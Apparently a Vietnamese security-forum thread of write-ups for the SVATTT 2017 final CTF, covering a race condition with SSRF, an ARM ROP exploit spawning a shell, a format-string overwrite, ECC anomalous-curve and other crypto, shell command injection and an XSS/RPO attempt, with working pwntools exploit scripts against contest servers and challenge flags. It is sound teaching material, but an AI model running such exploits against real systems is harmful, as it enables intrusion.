Tổng hợp Writeup cuộc thi SVATTT Final 2017

Sugi_b3o

Moderator
Thành viên BQT
30/08/2016
316
446 bài viết
Tổng hợp Writeup cuộc thi SVATTT Final 2017
Vòng Chung Kết Cuộc Thi Sinh Viên An Toàn Thông Tin 2017


ĐỀ BÀI

Mã:
[Done]1. Shellcap --- Ghost in the shell. Shell in the cap--- Submit svattt{secret hash} --- Jeopardy (Misc) --- tinduong --- http://final.svattt.org/challs/shellcap.pcapng
2. Music Box Daemon --- Peter --- nc119.81.181.254 31333 ---- http://final.svattt.org/challs/music_box
3. Image Storage ---  Daemon --- Peter --- nc119.81.181.254 31338 ---http://final.svattt.org/challs/image_storage
4. [Done]Hello ARM ---  Daemon --- Peter --- nc119.81.181.254 31335 --- http://final.svattt.org/challs/hello_arm
5. Serial me --- You need to provide 10 numbers and get the flag! Good luck! --- Jeopardy (Reverse) --- quangnh89 --- Ofline--- http://final.svattt.org/challs/serialme.exe
6. [Done]NoteService --- vnsec note service is fast and free. Check it out! --- Daemon --- quangnh89 --- nc119.81.181.254 31337 --- http://final.svattt.org/challs/noteservice
7.[Done] Onion ---Security is like an onion, each time you peel a layer, it's become clearer, and simpler. However, this challenge, is not.--- Jeopardy --- Crypto --- Cothan ---Ofline---http://final.svattt.org/challs/onion.zip
8.[Done] NotSideChannel --- In real world, when application leaks something, attacker can calculate secret from the leakage. However, this challenge, is not.--- Daemon --- Cothan --- nc119.81.238.121 25455 --- http://final.svattt.org/challs/notsidechannel.zip
9.[Done] Injection2 --- Easier than injection1 --- Jeopardy --- Chim --- http://final.svattt.org/challs/injection/
10.[Done] SflagContract --- https://pastebin.com/HJUpDZZF --- Jeopardy --- k9 --- Offline
11.[Done] shcat --- ssh [email protected] --- pw:goodluckguys --- Jeopardy --- k9
12.[Done] The last bullet --- Sometimes shoot into yourself is a best solution ... --- Daemon --- g4mm4 --- http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/


Solution

12. The Last Bullet - Daemon
------------------------------
Một chút thính lúc vào game: robots.txt
Mã:
User-agent: * 
Disallow: /backkup-1337/


Gắp được ra 3 cái params insert, access_key và path

  • Nếu không set param insert => Select và hiện kết quả theo access_key
CODE]User-agent: *
Disallow: /backkup-1337/ [/CODE]

  • Nếu set param insert => Insert vào db dữ liệu lấy từ access_key và path, ngay sau đó thì ... delete ?? ??
Mã:
$url = "http://tradahacking.vn".$path."/phiasaumotcogai.html"; 


$url = mysql_real_escape_string($url);

if(preg_match('/(#|\?|&)/i', $url))
    {
        exit('Bad words!');
    }
$sql = "INSERT INTO local_bookmark (url, access_key) VALUES ('" .$url. "', '".$access_key."');";
...
include_once("delete.php");
Okay, select thì méo có gì để select rồi, insert thì bị delete ngay :v

Nhưng ...
Ngay từ đầu khi đọc source, mình nhận thấy khá bất thường khi tác giả luôn đặt hàm connect, close db ở từng file, cộng thêm việc vừa insert vừa delete nhìn vội vler .

Screen-Shot-2017-11-21-at-9-36-03-PM.png


Ya, nó có mùi Race condition.

Code khai thác:
Mã:
import thread  

import time
import requests
import random

def exploit(access_key):
    resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?path=xxx&insert=1&access_key=xxxxx"
                    +str(access_key))

try:
    ak = random.randint(1000000,9999999)
    thread.start_new_thread( exploit, (ak,) )
    thread.start_new_thread( exploit, (ak,) )
    resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak))
    print "http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak)
    print resp.text
except:
    print "Error: unable to start thread"
Screen-Shot-2017-11-21-at-10-02-49-PM.png


Insert được rồi, giờ sao?

Để ý một chút:
Insert được rồi, giờ sao?

Để ý một chút:
Mã:
$url = "http://tradahacking.vn".$path."/phiasaumotcogai.html";
Đây là cái sẽ được cho vào DB, và rồi "bị" select ra, đẩy qua hàm file_get_contents
Mã:
$sql = "SELECT url from local_bookmark where access_key='".$access_key."' order by id desc limit 1";

$result = $conn->query($sql);

if ($result->num_rows > 0) {
    // output data of each row
    while($row = $result->fetch_assoc()) {
        $bookmark = $row["url"];
        //echo "Your Temporary bookmark is: " . $bookmark."<br>";//For harder version, my Ninjas ;)
    echo "Ok, Ok !!! You win ;)";
    }
}
echo file_get_contents($bookmark);
Tới lúc dùng tới hint của @g4mm4:

Local System:1337

Mình có thể biến cái $url trên kia thành dạng như này:

http://tradahacking.vn:xyz@localhost:1337/phiasaumotcogai.html

Thay vì tradahacking.vn là domain thì nó sẽ bị chuyển thành username

Nhưng giờ lại kẹt tiếp phát nữa, cái cần bây là directory listing của http://localhost:1337 chứ không phải http://localhost:1337/phiasaumotcogai.html

May thay trong lúc chưa ra cái hint local system:1337 (mà thực ra cái hint này nó có sẵn từ đầu trên title Web rồi
mà mình k để ý ), mình đã đẩy request trên kia về server riêng và fuzz linh tinh :v
Mã:
119.81.181.252 - - [xx/Nov/2017 xx:xx:28] "GET /./././../../././././././././././././././/../././/phiasa HTTP/1.0" 404 -
À há, path truncation. Do giới hạn số ký tự của field url trong db.

Nhiệm vụ bây giờ chỉ là đẩy request về server riêng, truncate cho vừa đủ hết cái file html kia, xong thay lại localhost:1337 vào (cho đỡ nhầm lẫn )
Mã:
index.php?path=:xyz@localhost:1337/.//./././../../././././././././././././././/.././././././&insert=1&access_key=xxxxx
Screen-Shot-2017-11-21-at-10-39-36-PM.png


Get flag.php
Mã:
index.php?path=:wtf@localhost:1337/./././././././././././././././././././././././././flag.php&insert=1&access_key=xxxxx
Screen-Shot-2017-11-21-at-10-41-55-PM.png

Trích Stingk8
7.Onion - Jeopardy
------------------

File

Sau 1 thời gian ngắm nghía thuật toán mình hiểu nôm na thuật toán sẽ đi theo flow :

process >>> Transform >>> Enlarge >>> Generate_equation

Trong đó :

  • process chuyển flag về dạng bin , với size = 9, mảng FLAG sẽ chứa 64 phần tử. FLAG ban đầu sẽ bị đổi thành bin và lấy lần lượt 9 số 0,1 sau đó đổi sang integer rồi append vào mảng. Nếu size = 8 thì cũng không có gì để nói cơ mà bài này là 9 nên đáng lưu ý ở đây.
    23805369_2030715177160642_1939371175_n.png
  • Transform chỉ là biến đổi các phần tử của mảng FLAG đi tí thôi, hàm này ta có thể dịch ngược lại được.
  • Enlarge Chỉ là cộng thêm mỗi giá trị của mảng 1 phần tử. Mình không cần dịch ngược cũng được. Ở bước sau ta có thể lược bỏ đi bằng cách (x+0x636f,y + 0x636f ) vậy là ta tìm được x và y luôn
  • Generate_equation Bản chất hàm này mình giải phương trình tìm lại FLAG sau khi bị biến đổi, sau đó đi ngược lại -> transform -> get flag
Số bài này cũng khá là nhỏ ( giá trị x và y trong range(0,512) )
1f600.svg
brute và tìm thôi, mình dùng sage để tìm.

23828636_2030726343826192_991497806_o.png


Ok mình đã tìm được FLAG sau khi bị biến đổi, tiến hành detransform -> đổi sang hex, công lần lượt 9 bit lại, decode bin -> flag

23846828_2030737783825048_621896042_o.png


Nà ní ?? @@ sao sai nhỉ , ?????????????

Hmm có chắc là độ dài của mỗi block ở bước process đều là 9 hay không??? Có vẻ như sai ở đó, nên mình thử giảm xuống xét 63 block thôi.

23828947_2030738307158329_100498688_o.png


Ok vậy là đoán đúng rồi. Block cuối result chắc hẳn là ” } ”

Flag: SVATTT{Wel1_secur1ty_1s_l1k3_4n_0nion_actually_0r_m0re…an_illusi0n!!!}

Code
Trích Koman4130
4. Hello ARM - Daemon
---------------------
Sau khi thọt ở vòng sơ khảo với bài formatstring. Mình đã phục thù với bài daemon noteservice . Nhưng lại ngã với bài hello_arm.… .

Trong buổi thi thì BTC có cho file img arm để tạo env debug. Xui làm sao hôm đó load file đó lại không ra mạng được, không setup được gdb. Mình down src gdb về build nhưng đến cuối lại bị failed. Thế là hôm đó quỳ với bài này…

Về nhà mình đã tự build img arm và setup peda-arm để debug.

Link các challenges đã được VNSEC public : https://docs.google.com/spreadsheet...EtYHYepcI3GG3rEIpEM/pubhtml?gid=0&single=true

Check file:

Mã:
hello_arm.1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=c81cfe892f89ccc0d55b9e5d4ec40048b00de0d6, stripped
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Quăng vào IDA thì dễ dàng thấy lỗi bof ở đây

Mã:
int sub_1054C()
{
  int v1; // [sp+0h] [bp+0h]

  puts("Overflow me.");
  read(0, &v1, 1024u); // <--- bof
  return puts("End");
}

fEKFqix.png


ta thấy ins SUB SP,SP, #0x80 với SP là reg stack pointer nên ta cần padding 0x84 để có thể overwrite địa chỉ trả về.

Bài này có bật ASLR trên server nên cần phải leak địa chỉ libc base trước.

Để có thể leak được thì cần đưa địa chỉ GOT vào thanh ghi R0. Và cần một gadget dạng pop {xxx,pc} để đưa hàm cần gọi vào reg PC (program counter).

dùng ROPgadget để thử tìm gadget cần :

ROPgadget --binary hello_arm

1051c: e8bdb913 pop {r0, r1, r4, r8, fp, ip, sp, pc} (popret)

nhưng không control được R0.

Đến đây thì mình đã stuck. Nhưng chợt nhớ đến hint của BTC là thumb2-mode .

Sau khi tìm hiểu (http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0344c/Beiiegaf.html ) thì được biết rằng architecture arm có 3 loại instruction sets là : ARM, thumb và thumb2. ARM dùng instruction 32-bit, thumb dùng instruction 16-bit và thumb2 32 bit mixing giữa 2 loại này (hỗ trợ thumb trên 32-bit và ARM).

Trong thumb2 mode thì có một quy định để biết instruction nào của mode nào (arm hay thumb) bằng cách (https://stackoverflow.com/questions/37836861/jump-between-thumb-and-arm )

  • nếu bit 0 của địa chỉ là 0 thì CPU sẽ execute dưới dạng arm code
  • nếu bit 1 của địa chỉ là 1 thì CPU sẽ execute dưới dạng thumb code
  • Nếu parse sai thì CPU sẽ báo lỗi
Đây là lí do trong code mình có mấy đoạn +1 (Qua debug mới thấy :)) )

Vì mặc định của của ROPgadget sẽ không hiện các instruction thumb nên cần phải thêm options --thumb

ROPgadget --thumb --binary hello_arm

Ở đây có 2 gadget mình cần là :

0x000105fc : pop.w {r3, r4, r5, r6, r7, r8, sb, pc} ; lsrs r2, r6, #4 ; movs r1, r0 ; lsrs r0, r5, #4 ; movs r1, r0 ; bx lr (popR3)

0x000105c6 : mov r0, r3 ; pop {r7, pc} (movR0)

Payload mình sẽ là :

  • popret
  • popR3
  • got read
  • mov R0 ,R3
  • plt puts
  • return to main

Mã:
payload=""
    payload+='B'*(0x80+4)
    payload+= p32(popret+1)
    payload+="A"*4+ p32(popr3+1)
    payload+=p32(file.got['read']) # parameter
    payload+="A"*24
    payload+=p32(movr0+1)
    payload+="AAAA"
    payload+=p32(file.symbols['puts']) # call function
    payload+="BBBB"*7
    payload+=p32(ret2main+1)

Sau khi leak được libc, tiếp theo chỉ cần tính các offset binsh và system để call system(“/bin/sh”)

script :

Mã:
from pwn import *

file = ELF('hello_arm.1')
libc = ELF('./libc-2.23.so')



def main(argv):
   if len(argv)<2:
        r = remote('localhost', 31335)
    else:
        r = remote('119.81.181.254',31335)

    ret2main = 0x0001054C

    r.recvuntil('Overflow me.\n')
 
    popret = 0x1051c
    # 1051c:    e8bdb913     pop    {r0, r1, r4, r8, fp, ip, sp, pc}
    popr3=0x000105fc
    #0x000105fc : pop.w {r3, r4, r5, r6, r7, r8, sb, pc} ; lsrs r2, r6, #4 ; movs r1, r0 ; lsrs r0, r5, #4 ; movs r1, r0 ; bx lr
    movr0=0x000105c6
    #0x000105c6 : mov r0, r3 ; pop {r7, pc}
 
    #pause()
 
    payload=""
    payload+='B'*(0x80+4)
    payload+= p32(popret+1)
    payload+="A"*4+ p32(popr3+1)
    payload+=p32(file.got['read'])
    payload+="A"*24
    payload+=p32(movr0+1)
    payload+="AAAA"
    payload+=p32(file.symbols['puts'])
    payload+="BBBB"*7
    payload+=p32(ret2main+1)
 
    r.sendline(payload)
    r.recvuntil("End")
    print r.recvline()

    libc.address=u32(r.recv(4))-libc.symbols['read']
    syst=libc.symbols['system']
    binsh=next(libc.search('/bin/sh\x00'))

    log.info("libc base : " + hex(libc.address))
    log.info("system : " + hex(syst))
    log.info("binsh : " + hex(binsh))

 
    payload=""
    payload+='B'*(0x80+4)
    payload+= p32(popret+1)
    payload+="A"*4+ p32(popr3+1)
    payload+=p32(binsh)
    payload+="A"*24
    payload+=p32(movr0+1)
    payload+="AAAA"
    payload+=p32(syst)
    payload+="BBBB"*7
    payload+=p32(ret2main+1)
 
    r.recvuntil('Overflow me.\n')
    r.sendline(payload)

    r.interactive()

if __name__ == '__main__':
    main(sys.argv)

aW7AlOQ.png


Bài này cũng không khó, chủ yếu phải setup được môi trường … hi vọng lần sau sẽ không ngã với arm nữa …
Trích znqt
8. NotSideChannel - Deamon
--------------------
Tải source của challenge tại http://final.svattt.org/challs/notsidechannel.zip – mình tự gõ lại link luôn đấy
1f625.svg


Ok, nói trước là bài này mình không giải ra trong thời gian thi. Và thật ra là trong thời gian thi mình chả làm được bài nào, so sad.

Bóc phốt time: trong khi thi và sau khi thi xong mình vẫn nghĩ bài này không phải là ECC, ECC méo gì không cho p cũng chả có a, b, ai chơi
1f625.svg


Tóm tắt source: có một server cho ta nhập một số n, server sẽ trả về toạ độ x của point Q, với Q = nP. Nhiệm vụ của chúng ta, là tìm một số k sao cho Q.x() = SECRET = 0x636f7468616e(cho bạn nào chưa biết, secret là hex-encoded nickname của tác giả).

Tới thời điểm này thì mình buộc phải thừa nhận đây là một bài ECC (sorry bạn nào hôm đấy nghe mình nói nhảm nhé
1f625.svg
). Và với một bài ECC “dị” thế này, không có p, a, b thì… tìm cách tìm được rồi tính tiếp vậy
1f625.svg


  1. Tìm p:
    Lợi dụng oracle ở hàm check, ta có thể có được p. Binary search có lẽ là cách tốt nhất để tìm p trong trường hợp này, tất nhiên, trừ cách chày cối làm tay. Mình thì tay to hơn não, nên, mình làm tay.
  2. Tìm a, b:

    Hàm calculate, như đã nói, sẽ trả về Q.x(), với Q = nP, n do chúng ta nhập.
    Thử nhập 1 và 2, server trả về như sau:

    Nhập 1, ta nhận được Q.x(), Q = 2P. Nhập 2, ta nhận được Q.x(), Q = 3P.
    Ok lượn qua Wiki để xem công thức point multiplication như thế nào: https://en.wikipedia.org/wiki/Elliptic_curve_point_multiplicationGiây phút giấy bút lên ngôi:
    Dễ thấy, a, b của chúng ta bây giờ chỉ phụ thuộc duy nhất vào biến y. Tiếp tục dùng Q = 3P:
    Mọi chuyện đã trở nên dễ dàng hơn…


    Chỗ này có một lưu ý nhỏ, L2 và L3 đều có 2 giá trị căn bậc hai. Tại sao mình lại chọn như vậy?
Như đã nói ở trên, tìm được p, a, b, nghĩa là chúng ta mới chỉ giải quyết phần “dị” của bài toán ECC này. Phần còn lại, khó hơn, là phần attack.

Nếu tinh ý, chúng ta sẽ nhận ra đường cong này là một đường cong đặc biệt:


Rõ ràng đến đây, ta nhận ra mấu chốt để giải bài này là việc chọn các giá trị căn bậc hai sao cho thoả mãn E.order() == p, để có thể thực hiện Smart order attack, hay anomalous curve attack.

May mắn cho mình, dù chơi ECC không nhiều, chỉ biết vài attack cơ bản, nhưng bài toán lần này vô tình lại trùng với một trong những bài mình đã làm, ở đây: https://hxp.io/blog/25/SharifCTF 2016: crypto350 "British Elevator" writeup/

Vậy không có lý do gì không modify lại script có sẵn:
Mã:
from sage.all import *
 
p = 0xda69d0d477a051c98f6b3336c307cf48f4385b83c356c1506d82b3aa1027b029b
A = 121827787187395522386932772379433644358783356270469716574116255032260423356674
B = 1499440054797214876455236405029756855444492541104689272009331667309909832278511

xP = 0
yP = 1445276229495444552228801510235047612557952146848015883554855381941261402389406
xQ = 109330345517422
yQ = 616807790983772327369764320365083547136422790519828801546456853324847676552512

E = EllipticCurve(GF(p), [0, 0, 0, A, B])
assert E.order() == p

Qp = Qp(p, 2)
Ep = EllipticCurve(Qp, [0, 0, 0, A, B])

yPp = sqrt(Qp(xP) ** 3 + Qp(A) * Qp(xP) + Qp(B))
Pp = Ep(Qp(xP), (-yPp, yPp)[yPp[0] == yP])

yQp = sqrt(Qp(xQ) ** 3 + Qp(A) * Qp(xQ) + Qp(B))
Qp = Ep(Qp(xQ), (-yQp, yQp)[yQp[0] == yQ])

print('Pp = {}'.format(Pp))
print('Qp = {}'.format(Qp))
print('-' * 40)

lQ = Ep.formal_group().log()(- (p * Qp)[0] // (p * Qp)[1]) / p
lP = Ep.formal_group().log()(- (p * Pp)[0] // (p * Pp)[1]) / p
print('-' * 40)

e = lQ / lP
print('e = {}'.format(e))

assert e[0] * E(xP, yP) == E(xQ, yQ)

print('\n--> Found: {:d}\n'.format(e[0]))
Gởi kết quả tìm được lên server (nhớ trừ 1, còn nếu bạn không biết lý do tại sao thì kéo lên đọc lại từ đầu nhé).



Conclusion: Cám ơn các anh VNSecurity, các anh Viettel đã tổ chức một kỳ SVATTT với nhiều bài hay, đặc biệt cám ơn anh @Cothan vì hai challenges Crypto xuất sắc. Mong cho mong ước của anh trong flag sẽ thành hiện thực. Cám ơn tất cả các anh em đã tham dự kỳ thi SVATTT này. Lần nữa, xin chúc mừng UIT-r3s0L đã giành chiến thắng xứng đáng!
Trích Blog Quân Đoàn
10. SflagContract - Jeopardy
File

Bài này thì theo gợi ý của đề bài, mình thấy có 1 link

https://etherscan.io/address/0xeec8a45a3406c8cf1de7ba0083b1c8dd2e31a27f

Click vào thì nó đưa mình đến 1 trang gì đó, chắc là liên quan đến hoạt động mua bán bitcoin

Để ý thì có hoạt động có age cách đây 4 ngày ( có vẻ trước ngày sv attt ) nên mình đoán đó là cái mà mình cần quan tâm

23828802_2030740027158157_933154812_o.png


Follow theo và xem thử
23846706_2030740330491460_1756578037_o.png


Để ý ở bên phàn Tool & Unities mò thử phần Remix Debugger

23828668_2030740597158100_1451608372_o.png


Có 1 đoạn hex , decode ra được:
23804557_2030741133824713_1666715085_n.png


Ok :v nãy giờ mình quên mất cái file pastebin còn có mấy dòng code :v mà nhìn ngắm hồi, và để ý cái chức năng remix debugger. Mình cho nó chạy hết quá trình truyền, mình có flag

23949284_2030741927157967_464651776_o.png


23805375_2030742150491278_1933508940_n.png

Trích Blog Komang
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: whf
11. shcat - Jeopardy
Đề bài :

ssh [email protected] pw:goodluckguys
Khi ssh vào server, ngồi nghịch ngợm tí thì thấy cái này:


1*IZ3IxkVhI1ULKjXt7PPJLQ.png
Vậy tồn tại 2 user là svattt và test, thử luôn user svatttt cùng pass xem ahihi :)) biết đâu bất ngờ.


1*P0cwiLZ6RR-S8rmZDebW5g.png
ssh [email protected]

Uầy, đúng pass thật kìa tuy nhiên ngay khi log được vào thì mình bị đẩy ngay ra ngoài với dòng chữ 'GO AWAY HACKER', ok fine I'm hacker now :3

Tiếp tục công cuộc đào bới tìm flag thôi, khả năng cao là flag nằm trong dir svattt rồi.


1*GIwA5jgM9b785D1liqj6hg.png
Như vậy, flag chắc chắn nằm trong file flag =)), chỉ có điều với user test chúng ta không có quyền đọc file này. Tiếp tục xem các file còn lại trong dir này

1*ZtFEqRtWiP9rJO8WNIX8Tg.png
shell.c

Đụng ngay sở đoản code C :)), cơ mà nom có vẻ không có gì phức tạp nên ngồi đọc cố.

Đại loại code theo mình hiểu ntn:
Kiểm tra argv nhập vào, nếu trong argv có kí tự thì exit, không thì tạo 1 cmd với dạng:
cmd = nc + argv và thực thi cmd đó.

Thấy có file shell, ngồi nghịch thử vài kết quả và đúng như những gì mình hiểu từ đoạn code trên.
Mày mò tới một số file khả nghi thường gặp trong mấy bài ctf như
Mã:
/etc/[]passwd và /etc/[]shadow,
thấy điều thú vị:


1*Ktvv39fmGomNnUGCoUTzQA.png
/etc/[]passwd

Như vậy có thể hiểu khi ssh tới server với user svattt sẽ gọi tới file /home/svattt/shell. Ý tướng kha khá giống các bài trên overthewire, bạn nào chơi qua các challenge trên này rồi thì đến đây đã có thể tự nghĩ ra cách giải.

OK, đơn giản rồi, mình chỉ cần truyền vào 1 payload để combine cái cmd thành 2 lệnh của linux, và bùm, ez flag for đội ở nhà :))


1*RcuEhuaKMJp0pmyuoL0W-A.png
FLAG: SVATTT{9SHELLINTHESEASHORE}
Trích Blog Team IA
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
6. NoteService - Daemon
-------------------------

Hôm đó vào thi với một tâm lý rất là thoải mái :)) Vào nhìn thấy 4 bài Deamon là pwn đã thấy thích rồi :)) Ban đầu là cứ down hết về đã, vất từng bài vào IDA, á đù một bài arm, 2 bài C++ thôi coi như xong :)) toàn cái mình sợ nhất :)) Bài duy nhất là C và có chút hi vọng "noteservice" chắc heap rồi olala, cũng ít team làm được heap, hi vọng mình làm đc thì mới có khác biệt :))

Nhưng đời đâi có như mơ :))
Đọc qua code thì thấy đúng heap thật rồi, malloc free các thứ các thứ nhưng lại lòi ra 1 cái hàm login thế là click vô xem.
Mã:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  welcome(*(_QWORD *)&argc, argv, envp);
  InitService();
  while ( 1 )
  {
    switch ( (unsigned int)ShowMenu() )
    {
      case 1u:
        Addnote();
        break;
      case 2u:
        Removenote();
        break;
      case 3u:
        Readnote();
        break;
      case 4u:
        ShowInfo();
        break;
      case 5u:
        Login();
        break;
      case 6u:
        Quit(*(_QWORD *)&argc);
        return;
      default:
        *(_QWORD *)&argc = "Invalid option";
        puts("Invalid option");
        break;
    }
  }
}
Á đù :v format lại còn printf(format) thì ắt hẳn có format string rồi.
Mã:
unsigned __int64 Login()
{
  char format; // [rsp+0h] [rbp-30h]
  char v2; // [rsp+20h] [rbp-10h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = 1;
  printf("Enter username:");
  __isoc99_scanf("%32s", &format);
  if ( !v2 )
    isNormal = 1;
  printf("Welcome,", &format);
  printf(&format);
  putchar(10);
  return __readfsqword(0x28u) ^ v3;
}
Đọc lại mới thấy là flag đã được load sẵn vào một note nhưng để đọc được cần phải có quyền isNormal và isRoot
2 biến nêu trên lại đều là biến static trong khi file lại không enable PIE nên có thể format string thay đổi giá trị 2 biến kia một cách đơn giản rồi.
Mã:
.bss:00000000006021C0    isRoot          dd ?                    ; DATA XREF: Readnote+89↑r
.bss:00000000006021C0                                                    ; ShowInfo:loc_401196↑r
.bss:00000000006021C4    public isNormal
.bss:00000000006021C4    isNormal        dd ?                   ; DATA XREF: Addnote+1E↑r
File exploit:
Mã:
from pwn import *

# r = process('./noteservice')
# gdb.attach(r, )
r = remote('119.81.181.254', 31337)
nomal = 0x6021C4
isroot = 0x6021C0
r.recvuntil('$>')
r.sendline('5')
r.recvuntil('Enter username:')
payload = "--------%8$n%9$n"+p64(isroot)+p64(nomal)
r.sendline(payload)
r.recvuntil('$>')
r.sendline('3')
r.recvuntil('Enter note id:')
r.sendline('0')
r.recvline_startswith('Content:')
log.info(r.recvline())

[+] Opening connection to 119.81.181.254 on port 31337: Done
[*] svattt{note_service_note_service_:banana-dance:}
[*] Closed connection to 119.81.181.254 port 31337
Trích Blog chung96vn
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
{6}Wa Hay..... Hoc duoc Rat Nhieu
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: Sugi_b3o
Comment
9. Injection2 - Jeopardy
------------------------
Link: http://119.81.181.251/

Đầu game thì mình hơi shock với mấy bài web!
Bài này thì lúc truy cập vào nó chả có cái mẹ gì, mỗi dòng “Inconstruction” thì phải
1f641.png
:(.
Rồi 1 lúc sau BTC có update lại thì cũng có mỗi page login, và phải trick 1 tí ở form mới register được ( về sau BTC cũng update lại cho cái button register).
Source được cấp ở “./src.zip”.
Với tựa đề là Injection 2, nhưng trong game ko có Injection 1, nên mình nghĩ ngay tới chal Injection của MeePornCTF đợt nọ!
Và đúng như vậy, đem diff source của 2 chall thì khác nhau ko nhiều lắm, chỉ có vài thay đổi đáng lưu ý đó là những form đợt nọ để “readonly” thì bây giờ đã thành “disabled” => miễn XSS theo cách của đợt nọ luôn!
...
Đến tận 2h team vẫn 0 điểm
1f611.png
-_-.
Ko thể nhai nổi miếng cơm ...
...
Đến 2h05, sau khi solve xong Daemon “The Last Bullet” và Jeo “shcat”, mình bắt đầu quay ra xem lại source bài này (vì RE + Porn thì ko biết gì, và đặc biệt là hiểu biết về crypto ở mức âm cmnl
1f642.png
=)) ).
.
Lúc này thì đã có điểm của 2 bài kia để chống đỡ, nên cũng thoải mái, ko lo lắng về chuyện bên lề nữa rồi.
Tiếp tục focus vào bài Injection 2, đi theo 1 hướng khác.
Mình bắt đầu chú ý đến file “chim2.js” mà con bot chạy!
Đây là 1 mẩu code quan trọng của file:
23658439_1469644333149527_1728885177777255348_n.jpg

(Đoạn secret thực chất là read từ file, nhưng để debug và tính tình nóng nảy nên nó thành ra như vậy =.= )
Nào, đọc kỹ lại đoạn đó coi!
Nani?!?
Rõ ràng ở đây cookie domain là “injection2.trich.im” cơ mà!
Site hiện tại là: 119.81.181.251, nếu mà có bug ở đây thì XSS thế đếu nào được??
1f603.png
:D ??
Vậy ra là mình và rất nhiều người đã bị nhầm hướng từ đây, target cần đánh là injection2.trich.im chứ ko phải là thằng này!
23722597_1469646663149294_5911362591697611351_n.jpg
kẻ sát nhân luôn có da đen
1f642.png
=)))
Nhưng site kia ko có gì cả, bị redirect qua blog của tác giả!
Ko sao, theo bản năng của 1 thằng hay chọc ngoáy, mình cắm DirBuster 1 lúc cũng ra đc 2 files khá là thú vi!
23722501_1469648193149141_5135242222024827959_n.jpg
Trong đó, file test.php của chúng ta có dạng ntn:
23794768_1469649446482349_9176497313790533542_n.jpg
Woooooowwwwwwwwwwwwww
How i feel at that time.....
Theo như mình dự đoán, là file test.php print ra hết tất cả header của request, và cả biến $_SERVER nữa!
Trong số đó, bao gồm Cookie của chúng ta, #surevkl , vì Cookie dù có bị httpOnly thì server vẫn đọc được nó (miễn là domain ko bị lạc trôi đi thành thằng khác).
Yup!!
Và sau đó mình build đc cái payload để khi page load xong, nó sẽ auto send page content về server của mình, payload như sau:
http://injection2.trich.im/test.php...
Giai đoạn khó khăn là đây!
Mình ko hiểu sao ko có 1 mống cookie nào return, mặc dù test trên lab các thứ ok ngon ròi?!?
Và như vậy
1f641.png
:( ... mình cứ ngồi, vừa thử vài loại payload khác và chửi thầm
Rốt cục thì đến hết giờ vẫn ko ra đc Cookie nào
1f641.png
:(, team thì bị đánh cho tan tác, suýt bị C500 pass!
23659356_1469653533148607_809787063513755456_n.jpg
.
.
.
.
Chuyện cứ thế trôi qua như vậy...
Cho đến 6h sáng ngày hôm nay, đọc được tin nhắn trả lời của người ra đề...
Và điều gì ko mong chờ cũng đã tới
1f641.png
:(.
BTC confirm là gửi source khác, Cookie Domain trong file chim.js chính là cái 119.81.181.251 , chứ không phải là injection2.trich.im kia :(((
23722205_1469658046481489_6988951816933678166_n.jpg
Feeling acay :(((
And that moment he knew, he f*cked up
1f641.png
:(.
Ko phải hướng đó, mình nghĩ ngay đến RPO (Relative Path Overwrite)!
Do ngay trước hôm thi cũng có đọc qua writeup của l4w về bài Sadbook (vòng sơ khảo), lợi dụng RPO tương tự!
Yup!
Thử thêm “/” vào sau index.php thì chòi luôn ra như vầy:
23658357_1469662683147692_4427882880542054792_n.jpg
Style đã bị mất, đơn giản là trong source như vậy:
23659147_1469663249814302_1354240681691319851_n.jpg
Nên khi render page, nó sẽ load http://119.81.181.251/index.php/css... , thay vì http://119.81.181.251/css/bootstrap... !
Tại sao ư??
It ‘s PHP
1f642.png
=))), It ‘s magic!!!
Về RPO, các bạn nên tham khảo ở đây (https://tsublogs.wordpress.com/2015..., https://l4w.io/2017/11/svattt-2017-..., http://www.thespanner.co.uk/2014/03...).
(Tự nhận là mình rất dốt nên chỉ đi đọc writeup và nhái lại để làm thành của mình thôi =.
1f642.png
=).
(Nên đọc qua 2 blog kia trước khi kéo xuống dưới để hiểu hơn về sau!)
.
.
.
Tóm lược lại là như sau:
Khi bị RPO, thì lúc này website sẽ đi vào dạng Cave mode (A.K.A Quirk Mode or Dễ dãi mode
PACMAN.png
:v ), nó sẽ load bất cứ cái gì trong page trông giống css!
Dựa vào ý tưởng của những bài trên, và tình hình hiện tại, thì ý tưởng solve bài này như sau:
  • Dựa vào CSRF, dụ con bot tự add payload của mình vào
  • Lúc này phải blind RPO, ép con bot gửi 1 request về link listener của mình nếu như content của page có flag!
23736202_1469676083146352_4562835748182885390_o.jpg
Thug life again!!!!!
Đầu tiên là thử 1 cái simple để confirm bug!
23658798_1469676966479597_4265405984401566832_n.jpg
Và mình đã đúng!
Tuy nhiên ở chỗ này có 1 vấn đề nho nhỏ(chính xác là nó tốn của mình hơn 30p =.= )!
